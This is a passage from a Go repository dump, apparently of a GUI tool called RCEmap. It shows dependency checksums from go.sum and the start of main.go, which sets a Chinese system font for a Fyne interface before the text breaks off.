h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= 500 | golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= 501 | golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= 502 | golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= 503 | golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= 504 | golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= 505 | golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= 506 | golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 507 | golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 508 | golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 509 | golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 510 | golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 511 | golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 512 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 513 | golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 514 | golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 515 | golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 516 | golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 517 | golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 518 | golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 519 | golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 520 | golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 521 | golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 522 | golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 523 | golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 524 | golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 525 | golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= 526 | golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= 527 | golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8= 528 | golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= 529 | golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= 530 | golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= 531 | golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= 532 | golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= 533 | golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= 534 | golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= 535 | golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= 536 | golang.org/x/tools v0.0.0-20200904185747-39188db58858/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE= 537 | golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= 538 | golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= 539 | golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= 540 | golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= 541 | golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= 542 | golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= 543 | golang.org/x/tools v0.1.2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= 544 | golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= 545 | golang.org/x/tools v0.1.8-0.20211022200916-316ba0b74098/go.mod h1:LGqMHiF4EqQNHR1JncWGqT5BVaXmza+X+BDGol+dOxo= 546 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 547 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= 548 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 549 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 550 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 551 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 552 | google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= 553 | google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= 554 | google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= 555 | google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= 556 | google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= 557 | google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= 558 | google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= 559 | google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= 560 | google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= 561 | google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= 562 | google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= 563 | google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= 564 | google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= 565 | google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= 566 | google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM= 567 | google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc= 568 | google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg= 569 | google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE= 570 | google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8= 571 | google.golang.org/api v0.41.0/go.mod h1:RkxM5lITDfTzmyKFPt+wGrCJbVfniCr2ool8kTBzRTU= 572 | google.golang.org/api v0.43.0/go.mod h1:nQsDGjRXMo4lvh5hP0TKqF244gqhGcr/YSIykhUk/94= 573 | google.golang.org/api v0.44.0/go.mod h1:EBOGZqzyhtvMDoxwS97ctnh0zUmYY6CxqXsc1AvkYD8= 574 | google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= 575 | google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= 576 | google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= 577 | google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= 578 | google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= 579 | google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= 580 | google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= 581 | google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= 582 | google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= 583 | google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= 584 | google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= 585 | google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= 586 | google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= 587 | google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= 588 | google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= 589 | google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= 590 | google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= 591 | google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= 592 | google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= 593 | google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= 594 | google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= 595 | google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA= 596 | google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 597 | google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 598 | google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 599 | google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 600 | google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 601 | google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 602 | google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 603 | google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 604 | google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 605 | google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U= 606 | google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= 607 | google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA= 608 | google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 609 | google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 610 | google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 611 | google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 612 | google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 613 | google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 614 | google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 615 | google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 616 | google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 617 | google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 618 | google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 619 | google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 620 | google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A= 621 | google.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= 622 | google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= 623 | google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= 624 | google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= 625 | google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= 626 | google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= 627 | google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= 628 | google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= 629 | google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= 630 | google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= 631 | google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= 632 | google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= 633 | google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= 634 | google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= 635 | google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= 636 | google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= 637 | google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= 638 | google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= 639 | google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= 640 | google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= 641 | google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= 642 | google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= 643 | google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= 644 | google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= 645 | google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= 646 | google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= 647 | google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 648 | google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 649 | google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 650 | google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= 651 | google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= 652 | google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= 653 | google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= 654 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 655 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 656 | gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f h1:BLraFXnmrev5lT+xlilqcH8XK9/i0At2xKjWk4p6zsU= 657 | gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 658 | gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= 659 | gopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= 660 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 661 | gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 662 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 663 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= 664 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 665 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 666 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 667 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 668 | honnef.co/go/js/dom v0.0.0-20210725211120-f030747120f2 h1:oomkgU6VaQDsV6qZby2uz1Lap0eXmku8+2em3A/l700= 669 | honnef.co/go/js/dom v0.0.0-20210725211120-f030747120f2/go.mod h1:sUMDUKNB2ZcVjt92UnLy3cdGs+wDAcrPdV3JP6sVgA4= 670 | honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 671 | honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 672 | honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 673 | honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 674 | honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= 675 | honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= 676 | honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= 677 | rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= 678 | rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= 679 | rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= 680 | -------------------------------------------------------------------------------- /icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W0r1d-Pr1nt/RCEmap/7752476c5990956fc99aee19d372c1c984368794/icon.ico -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "fyne.io/fyne/v2" 6 | "fyne.io/fyne/v2/app" 7 | "fyne.io/fyne/v2/container" 8 | "fyne.io/fyne/v2/theme" 9 | "fyne.io/fyne/v2/widget" 10 | "github.com/flopp/go-findfont" 11 | "image/color" 12 | "os" 13 | "rcemap/script" 14 | "runtime" 15 | "strings" 16 | "time" 17 | ) 18 | 19 | var topWindow fyne.Window 20 | 21 | // var swi *widget.RadioGroup 22 | var RW string 23 | var sel *widget.Select 24 | var blackleixing string 25 | var guolvleixing string 26 | var choose string 27 | 28 | func init() { 29 | // 获取系统上的所有字体路径 30 | fontPaths := findfont.List() 31 | 32 | // 判断操作系统类型 33 | switch runtime.GOOS { 34 | case "windows": 35 | // 在 Windows 系统上查找常见的中文字体 36 | for _, path := range fontPaths { 37 | if strings.Contains(path, "msyhbd.ttf") || strings.Contains(path, "simhei.ttf") || strings.Contains(path, "simsun.ttc") || strings.Contains(path, "simkai.ttf") || strings.Contains(path, "simfang.ttf") { 38 | // 设置字体 39 | err := os.Setenv("FYNE_FONT", path) 40 | if err != nil { 41 | return 42 | } 43 | break 44 | } 45 | } 46 | 47 | case "linux": 48 | // 在 Linux 系统上查找常见的中文字体(比如 WenQuanYi 或 Noto Sans CJK) 49 | for _, path := range fontPaths { 50 | if strings.Contains(path, "wqy-microhei.ttc") || strings.Contains(path, "NotoSansCJK-Regular.ttc") || 